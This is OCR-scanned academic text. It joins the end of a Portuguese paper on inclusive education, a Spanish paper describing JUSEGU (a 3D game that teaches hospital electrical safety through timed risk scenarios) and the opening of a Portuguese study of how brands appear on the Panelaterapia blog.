Desta forma, conclui-se que apesar das implicacdes politicas da Educagao Inclusiva aipda
engatinharem e muitas vezes dependerem do interesse pessoal dos professores e coordenadores
envolvidos, as mesmas podem ser consideradas como efetivas no fim a que se propuseram, tendo em

vista as grandes mudancas de realidade constatadas no periodo temporal analisado.
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JUSEGU es un videojuego que pretende dar una vision del problema de la sequridad eléctrica, considerando de
qué forma condiciona el disefio del equipo frente a situaciones que pueden poner en riesgo la vida del pacien-
te. De hecho, los pacientes de un hospital bajo ciertas condiciones pueden ser mds susceptibles al peligro de la
corriente eléctrica que una persona en su caso o trabajo, por lo cual el videojuego propone tomar precauciones
especiales en los equipos o instrumentos médicos. Las condiciones bajo las que se presentan dichos problemas
son dificiles de percibir por lo cual el videojuego JUSEGU ofrece un entorno 3D y un escenario de juego que
representa fielmente I3 realidad de trabajo en un hospital. El objetivo final del videojuego es comprender las
medidas mds importantes de sequridad eléctrica en contextos hospitalarios de forma de minimizar el riesgo de
peligro. Los escenarios que toman lugar en el juego se presentan en el documento con una breve descripcion
de la situacion que genera un riesqo eléctrico para el paciente o para el personal médico, y de la accién es-
perada por parte del jugador (en el contexto del juego) para mitigar Ia situacién de riesgo y generar puntos a
su favor. En aquellos casos que el jugador no tome la accion esperada para resolver el riesqo, se le asignaran
puntos negativos o en el peor caso se terminara el juego (GAME QVER).

Palabras-clave: JUSEGU. Sequridad. Riesgo. Eléctrico. Equipamientos. Médicos.

ABSTRACT

JUSEGU is a game that aims to give an overview of the electrical safety concepts in a hospital, considering the
situations that may endanger the patient’s life. Patients in a hospital under certain conditions may be more
susceptible to danger of electrical current than other persons in their work, so that the game objective is to
take special precautions handling medical equipment. The conditions under which these problems occur are
difficult to discern during the theoretical training, so it is proved that a game like JUSEGU (which offers a 3D
environment) that represents the reality of working in a hospital is a better suitable learning environment.
The goal of the game is to understand the most important electrical safety concepts in hospitals to minimize
electrical hazard. Some of the risk situations that take place in JUSEGU are included in this paper with a brief
description of the situation that generates an electrical hazard to the patient or medical staff, and the action
expected by the player (in game context). The correct resolution of the situation mitigates risk and generates
points in its favor. If the player does not take the expected action to resolve the risk, there are negative points
assigned to the player or in the worst case: Game Over.

Keywords: JUSEGU. Safety. Risk. Electrical. Equipment. Medical.




INTRODUCC'ON La tecnologia médica ha aumentado considerablemente la seguridad de los equipos y

ha reducido los riesgos asociados al manejo y utilizacion. En la actualidad, en las aplicaciones
médicas los niveles de seguridad que deben reunir los sistemas de instrumentacion estan

normalizados. Resulta obvio que no puede asegurarse un riesgo nulo en el uso del equipo, sin

embargo, una adecuada utilizacion de los mismos por usuarios instruidos minimiza los riesgos
eléctricos y aumenta la seguridad del paciente.

El aumento de la complejidad de los dispositivos médicos y su manejo provoca un
numero considerable de dafos a pacientes. La mayoria de estos dafos se pueden atribuir a
un uso inadecuado del equipo o falta de experiencia en su manejo. Por lo tanto suponiendo
que el equipo puede fallar, se debe capacitar al técnico responsable de su manutencion en los

diferentes contextos y en las situaciones mas adversas.

En este sentido los simuladores en forma de videojuegos logran desarrollar las capaci-
dades cognitivas del jugador, de forma de enriquecer sus conocimientos a traves de la percep-

cion de la realidad que desarrolla en los distintos escenarios.

OBJ ETIVOS DEI. El proyecto tiene como objetivo primario incrementar el contenido didactico del curso
de Seguridad Eléctrica en Hospitales, siendo una herramienta mas para transmitir los concep-
YECTO tos de seguridad hacia el estudiante a través de los escenarios de riesgo.

Otro de los objetivos primarios es motivar la capacidad de aprendizaje del estudjante
a través de la jugabilidad y competencia didactica (a través de los puntajes obtenidos) junto a

sus companeros del curso.



3 DESARROLLO DEL
PROYECTO
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También existen otros objetivos que si bien no forman parte del entregable no son me-
nos importantes, a saber:
1. Adquirir experiencia y conocimientos en tecnologias de punta como son:
» Unity 3D
* Photoshop
+ MySQL
2. Generar una plataforma que permita expandirse de acuerdo a las caracteristicas

de diversos tipos de simulacién (no solo en contextos médicos).

En esta seccion se describe la solucion desarrollada que surge a partir del resultado del

proceso de relevamiento realizado.

3.1 DESCRIPCION FUNCIONAL DEL PRODUCTO

A continuacion se realiza una descripcion del sistema desde una perspectiva funcional

en blusqueda de una mejor compresion del lector sobre la solucion desarrollada. Mas adelante
en este documento se realiza la descripcion arquitectonica que permite el desarrollo de JUSEGU.
También se describe de manera funcional cada escenario de riesgo que el jugador

debera resolver para avanzar en el juego.



3.2 MENU PRINCIPAL

El menu principal cuenta con 4 opciones mas 1 opcion

adicional (oculta) sélo para uso docente. Las opciones son:

JUSEGU 1. Instrucciones: Muestra las instrucciones de juego.

Explica de qué se trata, como se puntua y cuales
JUEGO DE SEGURIDAD FLECTRICA EN HOSITALES (por defecto) son las teclas asociadas a los even-
tos de entrada.
2. Configurar: Permite seleccionar el Idioma del jue-
go (Espafiol, Inglés o Portugués) y el nivel de difi-
cultad (Principiante, Normal, Avanzado). e
3. Salir: Devuelve el control al sistema operativo cer-

rando la aplicacion.

llustracion 1 - Portada del juego. 4. F12: Presionando la tecla F12 el docente podra
Fuente: el propio autorJugar: Inicia una nueva partida.

(contrasefia mediante) organizar los escenarios
que desea que aparezcan secuencialmente. Esta
pantalla muestra un breve resumen del objetivo de
juego, de que se trata, como se puntua y los

dios de entrada por defecto.
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3.3 PUNTUACIONES

En cada escenario de riesgo el jugador podra recibir puntaje positivo o bien puntaje

negativo de acuerdo a su actuacion. Estos puntajes estan directamente vinculados al nivel de

dificultad que esté utilizando el usuario, que a saber son:

1. Principiante: Este nivel implica tener tiempos mas largos, pero se obtienen puntajes
menores y cuando se trata de una resta, el coeficiente negativo es mayor que en el
resto de los modos. En particular, por situaciones resueltas se suman 10 puntos y
-10 puntos por situaciones fallidas.

2. Normal: Este nivel implica tener tiempos predefinidos que se consideran son apro-

piados para la resolucion de cualquier escenario de riesgo. Por situaciones resuel-

tas se suman 12puntos y -8 por situaciones sin resolver.

3. Avanzado: Este nivel implica tener tiempos muy acotados, sélo para aquellos que
sientan que el juego es muy sencillo utilizando el modo normal. De esta manera po-
dran obtener 14puntos en caso de resolver el escenario y -6 en caso de no poder
resolverlo. Es imprescindible utilizar este modo para intentar tener puntuaciones

maximas en el ranking.
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3.4 ESCENARIOS

A continuacion se describe cada escenario que se presenta en JUSEGU.

3.4.1 Reemplazo de Filtros HEPA

En las intervenciones quirurgicas donde el hueso esta expuesto se desea minimizar el
riesgo al maximo de infeccion de cualquier tipo y bajo estas circunstancias los filtros de aire
acondicionado tienen que estar en perfecto estado. En este escenario el jugador debera cam-
biar los filtros EPA (son los mas costosos), y también se suelen cambiar los pre-filtros, que son
los delanteros y son los mas economicos.

El jugador sera advertido sobre una intervencion de hueso un tiempo antes de empezar
la misma, donde se fijara el tiempo maximo en el que el jugador debera reemplazar el filtro e
(se lanza cronometro a partir de la advertencia). Si se agota el timer y el jugador no realizo el
intercambio de filtro el juego comunicara el resultado de la intervencion quirdrgica (mediante
un valor aleatorio). Si no hubo infeccion, el jugador obtiene puntaje negativo y ademas se dis-
minuye su porcentaje de suerte. En tal caso el juego mostrara un mensaje indicando el riesgo al
que se sometio el paciente por imprudencia del jugador. Si hubo infeccion se termina el juego

(GAME OVER).




llustracion 2 - Reemplazo de filtro HEPA en quiréfano.
Fuente: el propio autor.




3.4.2 Reemplazo de Radio Bidireccional (VHF/UHF) en Ambulancia

La radio bidireccional es uno de los elementos mas importantes del equipamiento de
una ambulancia, ya que permite recibir encargos y puede permitir al equipo ponerse en con-
tacto con el hospital, ya sea para informar de su llegada o del estado del paciente, o bien para
solicitar ayuda dependiendo del caso. Mas recientemente muchos servicios de todo el mundo
han cambiado del UHF/VHF tradicional, que pueden ser espiados por personas ajenas, a siste-
mas mas seguros como los que trabajan sobre un sistema GSM, como TETRA.

Ultimamente y en forma frecuente el equipo de servicio de ambulancias ha reportado
a la direccion del hospital acerca de bromas pesadas y falsos llamados de emergencia. Los
ingenieros de mantenimiento han investigado a fondo el causal de estos problemas y han en-
contrado que la radio bidireccional de las ambulancias esta siendo espiada por terceros. Han
ordenado la compra de equipos basados en sistema GSM, los cuales ya se encuentran en el
deposito de stock de equipamiento técnico del hospital.

El jugador recibe una alerta de mantenimiento a una ambulancia que acaba de llegar.
A partir de este momento, la ambulancia permanecera durante unos minutos (valor aleatorio,
relacionado directamente al valor de suerte del jugador en ese momento) y saldra nuevamente
a atender una emergencia. El jugador debera tomar un equipo GSM del deposito de stock de
equipamiento técnico y dirigirse a la ambulancia a intercambiarlo por el sistema actual basagdo
en UHF/VHF. Si lo hace antes de tiempo obtiene puntaje positivo. En caso contrario, obte
puntaje negativo ya que la direccion del hospital ha puesto enfasis en intercambiar los equi

con el objetivo de minimizar gastos causados por bromas o falsas llamadas.




llustracion 3 - Ambulancia donde se produce el intercambio de sistema VHF-UHF.
Fuente: el propio autor.



3.4.3 Humedades en Quiréfano

En algunos casos el jugador no puede determinar una solucion a un problema especi-
fico y en tal caso debe avisar a la direccion técnica del hospital.

En este escenario el jugador recibe una llamada de pedido de mantenimiento en un
quirofano, donde existe una gotera justo encima de la maquina de anestesia. El jugador debera
tomar un recipiente y colocarlo debajo de la gotera, previamente realizando un corrimiento de
la maquina de anestesia. El jugador debera dirigirse al subsuelo para buscar un balde y luego
volver para colocarlo debajo de la gotera. Si el timer llega a 0 y el jugador no movio la maquina
de anestesia ni puso el balde debajo de la gotera, obtiene puntaje negativo. En otro caso ob-

tiene puntaje positivo.

llustracion 4 - Humedades en quiréfano.
Fuente: el propio autor.




3.4.4 Desfibrilador con fecha de Inspeccion Expirada

Los mantenimientos del desfibrilador son anuales o siempre después de una intervencion.
En este caso el desfibrilador no esta cargado, la fecha de mantenimiento ya paso mas de 1 ano.
Si hay una situacion de emergencia no tiene la carga necesaria para ser efectivo.

En el contexto del juego aparece un mensaje sugiriendo al jugador la revision de los desfi-
briladores disponibles en el hospital (hay uno por piso). El jugador debera dirigirse a la ubicacion
de cada desfibrilador y revisarlo, silo hace podra observar la fecha de revisacion expirada (que
data desde el afio 2013) y tomara las medidas del caso (se ofrecera la posibilidad de usar la
sefalizacion correspondiente, para indicar que el desfibrilador debe ser sometido a mantenimiento
correctivo).

Si el timer llega a 0 se determina si ocurre la emergencia. Si efectivamente ocurre el juego

termina (GAME OVER). En otro caso, se obtiene puntaje positivo.

llustracion 5 - Desfibrilador utilizado en el hospital. El jugador debera chequear la fecha del dltimo mantenimiento realizado.
Fuente: el propio autor.



3.4.5 Mantenimiento en Maquina de Anestesia

Un anestesiologo que se encuentra revisando la maquina de anestesia en el quiréfano
‘C’ detecta una falla en el flujometro y solicita ayuda. En ese momento se dispara un timer.

La maquina de anestesia debe ser revisada sistematicamente, siguiendo un orden 16gi-
co de los componentes de la misma, sin omitir ningun elemento aunque se considere que éste
en particular no va a ser utilizado para el acto anestésico a iniciar. Todos los enchufes eléc-
tricos y las conexiones neumaticas deben estar en buen estado, sin riesgos de cortocircuitos,
desconexiones o fugas.

El jugador debe dirigirse al quirofano para ayudar al anestesiologo. Debera ubicar el
flujémetro, acercarse y presionar la tecla ‘F’ para realizar la reparacion. Si el timer llegaa 0 y el
flujbmetro no ha sido reparado, el jugador obtiene puntaje negativo. En caso contrario obtiene

puntaje positivo.

llustracion 6 - Maquina de anestecia con problemas en el flujometro.
Fuente: el propio autor.




3.4.6 Reemplazo de placas de Electro-bisturi por electrodos

Al utilizar electro-bisturi es recomendable usar electrodos en lugar de placas. Un mal
contacto entre el electrodo de retorno y la piel del paciente produce un aumento de la impedan-
cia de contacto. Como consecuencia de lo anterior el paciente recibe quemaduras en la piel,
en el punto de contacto. Por esto se recomienda el uso de electrodos en lugar de chapa. Los
electrodos son adhesivos, y permiten medir en todo momento la impedancia entre ellos que, al
ser elevada por despegue, abre el circuito evitando accidentes y por lo tanto evita el riesgo de
quemaduras del paciente.

En la ultima intervencion realizada en el quirofano ‘C’ el paciente recibio quemaduras
provocadas por el electro bisturi. Debera identificar las placas existentes en el quirdéfano y
desecharlas.

Los electrodos con los que cuenta el hospital se encuentran en el deposito ubicado
al final del pasillo del MRI. Debera proveer de una caja de electrodos descartables nuevos al
quirofano ‘C’ (tomando la caja del depdsito correspondiente), y dejarla en el mismo lugar donde
se encuentren las placas.

Si el timer llega a 0 y no se hizo el reemplazo, el jugador se expone a un valor aleatorio

que determina si hubo infeccion de hueso en la intervencion. Si efectivamente hubo obtendra

GAME OVER, en caso contrario obtendra puntaje negativo. Si el jugador logra hacer el int

cambio a tiempo, obtiene puntaje positivo.




llustracion 7 - Pueden visualizarse las placas utilizadas con electrobisturi, que seran reemplazadas por electrodos.
Fuente: el propio autor.




3.4.7 Situacion de Emergencia en el Resonador Magnético.

En situaciones de emergencia y peligro de vida frente a accidentes con el resonador, existe la
posibilidad de interrumpir el suministro eléctrico y por otro lado, es posible interrumpir el proceso de super-
conductividad que genera el magneto mediante un interruptor llamado ‘Pulsador de Quench’.

Este interruptor acciona una valvula que libera helio liquido del resonador hacia la atmosfera, anu-
lando de esta manera el poder de atraccion de objetos metalicos. Una enfermera estaciond una silla de
ruedas en la puerta del resonador y ésta fue atraida por el magneto, poniendo en riesgo la vida del pacien-
te que esta realizandose una resonancia.

Debera aplicar sus conocimientos e identificar cual es el pulsador de Quench para salvar la vida del
paciente. Si el timer llega a 0 y no logro presionar el pulsador de Quench, sera GAME OVER por asfixia del

paciente que esta siendo presionado por la silla de ruedas. En caso contrario, se obtendra puntaje positivo.

llustracion 8 - Puede visualizarse el paciente que dependera directamente del pulsador de Quench para evitar dafos.
Fuente: el propio autor.




3.4.8 Derrame de residuos patogénicos.

Las bolsas de residuos pueden ocasionar accidentes eléctricos si no se manipulan de
manera apropiada, sobre todo cuando las mismas derraman liquidos. Como primera medida,
las bolsas deberian acopiarse en recipientes plasticos para que efectivamente se contenga
el derrame. En segunda medida los tomacorrientes en los lugares de acopio de residuos y en
diversos sectores que generen derrames, deben tener una distancia mayor de 30cm del suelo
para que ni las bolsas ni los fluidos puedan entrar en contacto con estructuras bajo tension.

Durante el juego mientras el jugador realiza las tareas de mantenimiento, la basura se
ira acumulando en el lugar apropiado para ello en la despensa. Sin embargo, ciertas bolsas de
basura estan derramando liquidos que estan poniendo en riesgo al personal de limpieza de
un accidente eléctrico, ya que la despensa cuenta con una instalacion eléctrica deficiente (tal
como se menciono anteriormente) que no cumple con todas las normativas. Los tomacorrientes
se encuentran a pocos centimetros del suelo.

Se le avisa al jugador que el tomacorriente cercano a las bolsas de residuos patogéni-
cos esta en cortocircuito, por lo que debera bajar la llave térmica asociada a dicho tomacor-
riente (podra identificar al tomacorriente por un identificador aleatorio que se asigna al mismo
en cada jugada). Si el timer llega a 0 y no pudo bajar la llave obtiene puntaje negativo. Si por el

contrario pudo bajar la llave obtendra puntaje positivo.




llustracion 9 - Un cortocircuito a punto de producirse debido a residuos patogénicos desorganizados.
Fuente: el propio autor.



3.4.9 Macroshock

En una de las salas del Primer piso un técnico (un tanto imprudente) realiza un electro-
cardiograma (ECG) a un paciente.

El técnico ha conectado el pie del paciente al metal de la cama para reducir el ruido del
equipo biomédico. La hermana del paciente (quien esta a cargo de cuidarlo) intenta sintonizar
la radio conectada a 220v.

Sin que ella lo sepa, la radio tiene una falla en la descarga a tierra. Cuando el contador
llegue a 0 la hermana rozara al paciente. Para evitarlo ubique el escenario de riesgo y acérque-
se a la hermana del paciente. Si el contador llega a 0 se producira el accidente y obtendremos

GAME OVER. En caso contrario se obtiene puntaje positivo.

llustracion 10 - Paciente a punto de recibir un macroshock.
Fuente: el propio autor.



3.4.10 Microshock

En una de las salas del primer piso se encuentra un paciente conectado a un marcapa-
sos externo mediante 2 catéters.

El operador del marcapasos se encuentra sentado a su lado operando el equipo biome-
dico. La conexion de la cama al tomacorriente tiene el cable defectuoso y la conexion a tierra
fallara cuando el timer llegue a O.

Debera solicitar al operador que detenga el marcapasos. Para ello acérquese al ope-
rador y presione la tecla ‘H’ para darle la orden de que detenga el equipo biomédico. Si el
contador llega a 0 y el equipo biomeédico no ha sido detenido, se produce electrocucion y se

obtiene GAME OVER. En caso contrario se obtiene puntaje positivo.

llustracion 11 - Paciente recibiendo microshock.
Fuente: el propio autor.




3.4.11 Senalizacion deficiente pone en riesgo a una nifia

En el hall principal del hospital una nifa se acerca a un tomacorriente defectuoso que ya
ha sido revisado por representantes del departamento técnico, pero no ha sido reparado aun.

El jugador debera mejorar la sefalizacion para evitar un accidente eléctrico. Para ello
puede tomar una barrera de proteccion del deposito y colocarla en frente del tomacorriente
defectuoso.

Si el timer llega a 0 la niha se acercara al tomacorriente y quedara electrocutada, en

este caso se obtendra GAME OVER. En caso contrario se obtiene puntaje positivo.

llustraciéon 12 - Una nifia esta a punto de recibir una descarga eléctrica debido a un tomacorriente defectuoso, sin sefializar.
Fuente: el propio autor.
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3.4.12 Electrocucion en bafio masculino

En los banos masculinos un encargado de limpieza comienza a experimentar una elec-

trocucion con un tomacorriente en mal estado.

Tomar la decision correcta implica salvarle la vida a esta persona. Puede considerar
identificar el tomacorriente y bajar la llave térmica correspondiente desde el tablero.
Tiene poco tiempo. Si el contador llega a 0 y no bajo la llave térmica se produce GAME

OVER ya que el funcionario fallece en el acto. En otro caso se obtiene puntaje positivo.

llustracion 13 - Una persona del departamento de limpieza recibe un cortocircuito en la despensa.
Fuente: el propio autor.




3.4.13 Riesgo en el Resonador: Tanque de Oxigeno en la puerta.

Un técnico que no ha realizado el curso de Seguridad Eléctrica en Hospitales, ha deja-
do en la puerta del resonador magnético un tanque de oxigeno a la espera de ser trasladado
hacia los quirofanos.

Un empleado de limpieza esta limpiando el pasillo y ha salido a buscar una botella de
detergente para la limpieza. Al volver necesita abrir la puerta del magneto, lo cual provocara un
accidente fatal con el tanque de oxigeno (ya que un paciente se esta haciendo una resonancia).

Debera detener al empleado de limpieza de manera que no se dirija hacia la puerta del
resonador. Si no logra detenerlo el resonador atraera el tanque de oxigeno cuando el empleado
de limpieza intente abrir la puerta. En tal caso obtendra GAME OVER automaticamente, en caso

contrario obtendra puntaje positivo.

llustracion 14 - Explosion producida por la atraccion de un tanque de oxigeno al centro del magneto.
Fuente: el propio autor.
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3.5 SISTEMA DE PUNTAJES CENTRALIZADOS (SERVER-SIDE RANKING)

JUSEGU cuenta con lo que llamamos “server-side ranking” que consiste en un ranking

centralizado donde todos los estudiantes del curso podran ver desde sus casas el resultado de

las partidas de sus companeros, lo cual los motivara a superarse cada vez mas para lograr las
posiciones mas privilegiadas.

Por defecto JUSEGU muestra las 15 mejores puntuaciones, ordenadas de mayor a me-
nor, lo que implica que el alumno que mejor aplica los conocimientos del curso en el juego
estara en la primera posicion.

Este ranking centralizado para alumnos y docentes permite al grupo docente realizar
metricas de por ejemplo que estudiantes estan logrando mejores resultados, y qué estudiantes e

necesitan mas apoyo.

4 CONCI.USIONES Los componentes del producto resultante son:

« Un simulador como herramienta de formacion complementaria al curso de Seguri-

dad Eléctrica en Hospitales.

* Una base de datos centralizada con los datos de las puntuaciones de las diferen

tes jugadas de estudiantes y docentes.

Ademas alineados con los objetivos planteados el simulador desarrollado cuenta con

las caracteristicas que se mencionan a continuacion:
«  JUSEGU apoya el tedrico impartido en las clases del curso de Seguridad Elé

en Hospitales
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*  Genera un vinculo adicional entre estudiantes con afan de intercambiar trucos,
jugadas, resolucion de problemas y caminos que seran de utilidad para asimilar
los conceptos de clase.

* La simulacion que ofrece brinda a los estudiantes una mejora en su experiencia

como alumnos del curso.

*  Se logra una plataforma de simulacion aplicable mas alla de contextos médicos.
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0 objetivo principal deste artigo é identificar e analisar como as marcas aparecem nos espacos mantidos pela
blogueira Tatiana Romano a partir do blog Panelaterapia. Como objetivos especificos, o estudo busca investigar
3 apropriacao das midias sociais pela blogueira; analisar como se da a insercdo das marcas dentro do conte-
Gdo do blog e de outras plataformas e, por fim, comparar as formas como as marcas aparecem NoOS espacos
mantidos pela blogueira. Metodologicamente, esta pesquisa classifica-se como exploratéria, que permite fami-
liarizar-se com o problema e suas diversas faces, relacionando-se entre si os conhecimentos empiricos com 0s
conhecimentos cientificos. No que tange aos procedimentos técnicos, foram utilizados a pesquisa bibliografica
e 0 estudo de caso. Conclui-se que as marcas presentes no blog Panelaterapia e suas extensoes aparecem em
contextos e formatos diferentes de acordo com cada plataforma. Constatou-se, também, que o proprio blog
Panelaterapia tornou-se uma marca reconhecida. Além disso, pode-se dizer que a propria blogueira Tatiana
Romano é uma marca, visto que o lancamento de um livio baseia-se em sua reputacdo como profissional, o
que tem feito dela garota-propaganda de outras marcas até mesmo fora de seu canal Panelaterapia.
Palavras-chave: Marcas. Marcas na Internet. Sites de Redes Sociais. Panelaterapia. Blog.

ABSTRACT

The main purpose of this article is to identify and analyze how trademarks appear in the spaces maintained by
blogger Tatiana Romano from the Panelaterapia blog. As specific objectives, this study seeks to investigate the
ownership of social media by blogger, analyze the insertion of the brands within the content of the blog and
other platforms, and finally compare the ways in which the marks appear in the spaces maintained by the blog-
ger. Methodologically, this research is classified as exploratory, allowing become familiar with the problem and
its various faces, relating among themselves the empirical knowledge with scientific knowledge. With regard
to technical procedures were used to bibliographical research and case study. It is concluded that the marks
present on the Panelaterapia blog and its extensions appear in contexts and different formats according to each
platform. It was noted, also, that the own Panelaterapia blog has become a recognized brand. In addition, it can
be said that own blogger Tatiana Romano is a trademark, since the launch of a book based on his reputation as
a professional, what has made her the poster child of other brands even outside of your Panelaterapia channel.
Keywords: Brands. Brands on the Internet. Social networking sites. Panelaterapia. Blog.




INTRODUCAO

O rapido avanco da internet e das midias sociais, aliado as mudancgas de habitos de con-
sumo despertou a necessidade de um novo modo de comunicar. Se antigamente a aposta das
marcas era comunicar para o maior nimero de pessoas possivel através das midias de massa,
como radio, televisdo e jornal, hoje o desafio € identificar o perfil dos seus consumidores e bus-
car cada vez mais uma comunicacao segmentada e dirigida para aquele publico especifico.

Dessa forma, a Internet permitiu a seus usuarios expressar sua opiniao e se fazerem ou-
vir, despertou o interesse (obrigatério) das empresas em saber quem sao seus consumidores,
onde estéo, o que estao falando.

Ainda nesse contexto, uma parcela cada vez mais significativa de empresas tem busca-
do representatividade através de celebridades da web, que possuem milhares de seguidores
em diversas plataformas.

Essas acoes baseiam-se nao somente na reputagao da marca, mas também da pessoa
que a recomenda. A resenha de um produto em um blog pode ser um fator para que o leitor
faga imediatamente uma relagdo custo/beneficio baseada na experiéncia relatada e tome, a
partir dai, sua decisao de compra.

Por fim, pdde-se perceber essa realidade, também no blog Panelaterapia. Com o pas-
sar do tempo notou-se a frequéncia cada vez maior de marcas patrocinando postagens nesse
blog e, dessa forma, surgiu a seguinte questao de pesquisa: de que forma as marcas aparg-
cem nos espagos mantidos pela blogueira?

Partindo deste problema, definiu-se como objetivo geral identificar e analisar conjo as
marcas aparecem nos espacos mantidos pela blogueira Tatiana Romano. Como objetivgs es-

pecificos, buscou-se apontar a apropriacao das midias sociais pela blogueira; analisar/como




2 MARCAS NA
INTERNET

se da a insercao das marcas dentro do conteudo do blog e de suas extensdes no Facebook,
Instagram e YouTube e, finalmente, comparar as formas como as marcas aparecem nos espa-
¢os mantidos pela blogueira.

Dessa forma, recorre-se a abordagem tedrica da presenca das marcas na Internet em
que se traga um panorama da evolucao conceitual deste tema a partir de um conjunto de con-
ceitos apresentados por alguns autores como Sampaio (2002), Pinho (2000), Klein (2003). Em
seguida, procede-se por um levantamento bibliografico sobre sites de redes sociais a partir de
Recuero (2009), Primo (2008) e Torres (2009) e, finaliza-se, com a apresentagdo do método de
pesquisa utilizado, o objeto de estudo, bem como desenvolvimento da analise, chegando-se

as conclusodes do estudo.

De acordo com Sampaio (2002, p. 121), marca “é a sintese das experiéncias reais e
virtuais, objetivas e subjetivas, vividas em relagao ao produto, servico, empresa, instituicao ou,
mesmo pessoa.”.

Ja Pinho (2000, p. 99) afirma que

A marca nao designa apenas um produto ou servico, mas incorpora um conjun
to de valores e atributos tangiveis e intangiveis relevantes para o consumi
e que contribuem para diferencia-la daquelas que Ihe sdo similares. Assim/ao
adquirir um produto, o consumidor ndo compra apenas um bem, mas tofdo o
conjunto de valores e atributos da marca. Portanto, a marca é a sintes¢ dos
elementos fisicos, racionais, emocionais e estéticos nela presentes e desenvol-
vidos ao longo dos tempos.




Dessa forma, marcas sdo simbolos de valor, um conjunto de crencas que gera um sen-
timento de pertencimento, um compromisso de conduta de determinado grupo.
Klein (2002) percebe que a “esséncia da marca” distanciou-se dos produtos e aproxi-

mou-se das caracteristicas psicolégicas e antropoldgicas da nossa sociedade, pois diante de

tanta oferta de um mesmo produto, o consumidor acaba escolhendo pela marca.

Dessa forma, “mais do que um nome e suas representacoes, a marca contemporanea e
um fenébmeno que implica uma grande carga simbolica e ideoldgica, pois sua presenga evoca
e mobiliza sistemas de valores sociais e culturais”. (PEROTTO, 2007, p. 129)

Consumir marcas configura-se como um simbolo social, gera um sentimento de aceita-
¢ao, de pertencimento a determinado grupo social. Dessa forma, ndo é apenas o produto que esta

sendo pago no ato da compra, mas também seu poder de conferir status social. (PEREZ, 2004)

Antes da disseminacao da Internet era facil ser coerente através das grandes midias,
bastava que uma marca anunciassem em um grande veiculo de comunicagao para obter re-
sultados expressivos. Hoje, a concorréncia tornou-se acirrada, houve um desdobramento e

segmentacao dos veiculos, e as opgdes de veiculos e formatos se multiplicaram.

Para estar na preferéncia dos consumidores, cada vez mais as marcas buscam cons-
truir um relacionamento, pois a venda nao ocorre somente no momento da compra, uma vez
que o consumidor pode usar as redes para exprimir sua satisfacado ou nao com o produto apgs
seu consumo.

Esse fato muda as relagdes de poder, uma vez que um comentario negativo ou pogitivo
pode ser compartilhado inumeras vezes, iniciando uma propagacao. Basta o conteudo ser

considerado interessante e entdo pode ganhar proporgdes imprevisiveis.




3 SITES DE REDES
SOCIAIS

O consumo se tornou mais do que apenas uma compra, Passou a ser uma experiéncia
em que o consumidor busca informagdes sobre seus produtos e servigos antes, inclusive, de
obté-lo, por meio das experiéncias de outros consumidores com quem mantém relacao a partir
das redes sociais. (TORRES, 2009)

Ainda que milhares de internautas desconhegam o poder das redes sociais na Internet,
estes sao impactados todos os dias pela opiniao de outros consumidores internautas. O consu-
mo baseado na influéncia direta tem crescido e isso reflete na perda de espaco da propaganda
nos meios de massa e lealdade a marca, onde o testemunho, indicacao e reputagao de outros
consumidores tém adquirido cada vez mais forga.

Assim, pode-se perceber a evolugao do termo marca, que passou de mero simbolo de
identificacao para o maior patriménio ativo de uma empresa, mudando até mesmo sua forma

de dialogo com o consumidor.

Ainteragao e o compartilhamento de informagdes através da Internet trouxeram a socia-

bilizagcao dos dados, e assim rapidamente o problema de um pode virar o problema de todos

através das redes sociais, que conectam mais do que computadores, conectam pessoas.

(...) uma rede social & definida como um conjunto de dois elementos: atoges
(pessoas, instituicdes ou grupo; os nés da rede) e suas conexoes (interacdes ou
lagos sociais) (Wasserman e Faust, 1994; Degenne e Forse, 1999). Uma fede,

de rede tem, assim, seu foco na estrutura social, onde nao € possivel i
atores sociais e nem suas conexdes. (RECUERO, 2009, p.24)




A autora complementa afirmando que esses padroes de conexdo permitem ao usuario
construir, interagir e comunicar, e, a0 mesmo tempo em que alimenta essa estrutura, também
deixa rastros de sua identidade, possibilitando assim o estudo das redes sociais. Esse estudo
(Recuero, 2009) foca o problema de como as estruturas sociais surgem, de que tipo sdo, como
sao compostas. Dessa forma, cabe direcionar as redes sociais como sites de redes sociais,
que “nao sao exatamente um elemento novo, mas uma consequéncia da apropriagao das fer-
ramentas de comunicacdo mediada pelo computador pelos atores sociais” (RECUERQO, 2009,
p. 102).

Ainda, segundo Recuero (2009), embora os sites de redes sociais atuem como suporte
para as interagoes que constituirdo as redes sociais, eles nao sao, por si, redes sociais. Elas
sao apenas um sistema que dependem dos atores sociais para existir.

A grande diferenca apontada entre os sites de redes sociais e outras formas de comu-
nicacao mediada pelo computador € a manutencao dos lacos no espago off-line, como por
exemplo, os fotologs, os blogs e as ferramentas de micromessaging como Twitter'.

Para estruturar esse conceito, Recuero divide os sites de redes sociais em dois tipos: 0s
apropriados e os estruturados. E assim, os chama de sites de redes sociais propriamente ditos

e sites de redes sociais apropriados. Os sites de redes sociais propriamente ditos sao aqueles

focados em expor e publicar, onde o individuo cria um perfil para entao interagir com outrds

pessoas, como é o caso do Facebook® e Instagram®. Ja os sites de redes sociais apropriadlos

! https://twitter.com/?lang=pt
? https://www.facebook.com/
? https://www.instagram.com/




sao aqueles que nao eram originalmente voltados para mostrar redes sociais, mas acabaram
utilizados para este fim, como por exemplo, os blogs, que sao construidos como espacos pes-
soais, mas através dos comentarios e links acabam gerando interacao entre os atores.

A autora ainda apresenta a ideia de que um mesmo ator pode se apropriar de diferentes
ferramentas para diferentes planos de sociabilidade, como por exemplo, um blog que possui
uma pagina no Facebook ou Instagram. O conteudo vai a mesma linha, porem € uma forma
de o blogueiro comunicar o mesmo conteudo em formatos diferentes e assim se tornar mais
conhecido, uma vez que esta inserido em diferentes plataformas.

Jenkis, Green e Ford (2014, p. 24) falam em um modelo mais participativo de cultura,
em que 0 modelo de mensagem pré-construida ja ndo serve mais aos consumidores, uma vez
que estes sao capazes de moldar, compartilhar e reconfigurar o conteddo. Ou seja, o grande
desafio € criar conteudo “propagavel” atraveés da rede de fas, fazendo com que o conteudo
exista além do seu contexto original, que ganhe “vida” através de seus espectadores.

Em 1992, Henry Jenkins cunhou o termo “cultura participativa” para descrever comu-
nidades de fas e diferencia-los de espectador. Esse termo nunca esteve tao atual, e pode ser
utilizado também para descrever grupos que produzem e distribuem contelddo via Internet.

Outro conceito desenvolvido por Jenkins, Green e Ford (2014) diz respeito ao enga-
jamento, em que a ideia € levar o conteudo além de sua plataforma original. Por exempl
um conteudo criado exclusivamente para televisao pode ser comentado no Twitter, postado
no YouTube, compartilhado no Facebook. “O modelo de engajamento sugere que ter alguma
